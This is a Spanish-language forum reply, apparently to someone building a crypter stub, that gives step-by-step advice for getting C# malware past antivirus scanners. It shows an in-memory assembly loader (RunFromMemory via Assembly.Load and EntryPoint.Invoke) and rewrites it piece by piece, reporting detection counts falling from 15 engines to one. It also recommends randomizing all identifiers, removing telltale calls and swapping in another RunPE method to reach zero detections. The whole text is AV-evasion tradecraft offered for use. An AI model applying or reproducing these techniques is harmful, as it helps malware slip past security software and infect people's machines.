Cómo puedo evitar la detección por los AV?

Bien, desglosemos el código;

Para empezar este tipo de declaraciones es detectada por 2 antivirus (SecureAge APEX / MaxSecure) :

Código

    Char[] charset = {
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p',
        'q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G',
        'H','I','J','K','L','M','N','Ñ','O','P','Q','R','S','T','U','V','W',
        'X','Y','Z','1','2','3','4','5','6','7','8','9','0','+','/','='  };

Las Puedes Cambiar a :

Código

 static string CharsetAlfabetoSTR = "abcdefghijklmnopqrstuvwxyz";
    static string CharsetNumberSTR = "1234567890";
    static string CharsetSimbolsSTR = "+/=";
    static string CharsetAlfabetoUpperSTR = CharsetAlfabetoSTR.ToUpper();
 
    static string FullCharset = CharsetAlfabetoSTR + CharsetAlfabetoUpperSTR + CharsetNumberSTR + CharsetSimbolsSTR;
 
    Char[] charset = FullCharset.ToCharArray();

La funcion : (es detectada por MaxSecure como Trojan.Malware.300983.susgen)

Código

    public static int[] SubstractNumericArrays(int[] numeric1, int[] numeric2) {
            // TODO: check arrays share length here
            int[] res = new int[numeric1.Length];
 
            for (int i = 0; i < numeric1.Length; i++)
            {
                res[i] = numeric1[i] - numeric2[i];
            }
 
            return res;
        }

La cambiamos a : (y ya no es detectada)

Código

 public static int[] SubNumeric(int[] N1, int[] N2)
    {
        int[] res = new int[N1.Length];
 
        for (int i = 0; i < N1.Length; i++)
        {
            res[i] = N1[i] - N2[i];
        }
 
        return res;
    }

Ya sabemos que esa funcion tenemos que generarla con nombre de variables randoms.

Tal parece que los Antivirus (SecureAge APEX y MaxSecure) son muy sensibles a los nombres de variables y/o Funciones. Por eso aplicaremos nombres random a todo el stub si es posible.

Bien , Ahora nos ponemos serios, La función : (Es detectada por 15 AVs)

Código

  public static void RunFromMemory(byte[] bytes)
    {
        Assembly a = Assembly.Load(bytes);
        MethodInfo method = a.EntryPoint;
        if (method == null) return;
        object[] parameters = method.GetParameters().Length == 0 ? null : new object[] { new string[0] };
        method.Invoke(null, parameters);
    }

Si quitamos la Importacion Using System.Reflection; y la cambiamos por el espacio de nombres directamente, la deteccion baja a (14 AVs)

Código

   public static void RunFromMemory(byte[] bytes)
    {
        System.Reflection.Assembly a = System.Reflection.Assembly.Load(bytes);
        System.Reflection.MethodInfo method = a.EntryPoint;
        if (method == null) return;
        object[] parameters = method.GetParameters().Length == 0 ? null : new object[] { new string[0] };
        method.Invoke(null, parameters);
    }

Si Cambiamos el nombre de la funcion y variables la deteccion baja a (13 AVs).

Si Modificamos la funcion de esta manera, quitando la opcion de los parametros, entonces la deteccion baja a (5 AV)

Código

 public static void RM(byte[] BT)
    {
        System.Reflection.Assembly AS = System.Reflection.Assembly.Load(BT);
        System.Reflection.MethodInfo MT = AS.EntryPoint;
        if (MT == null) return;
        MT.Invoke(null, null);
    }

y Si Quitamos el .Invoke(null, null); la deteccion baja a (1 AV) .

En pocas Palabras el Problema esta en tu el metodo para iniciar el PE. asi que cambialo por algun otro RunPE.

La unica deteccion es del antivirus MaxSecure y recordemos que este Identificador de deteccion : Trojan.Malware.300983.susgen se debe a algún nombre "Sospechoso" de alguna función o variable.

Entonces si logras generar un stub 100% con identificadores randoms, entonces tendra 0 detecciones.

Por cierto el Codigo que pusiste en github tiene 27 detecciones, yo cambie un poco la estructura y las detecciones bajaron a 20
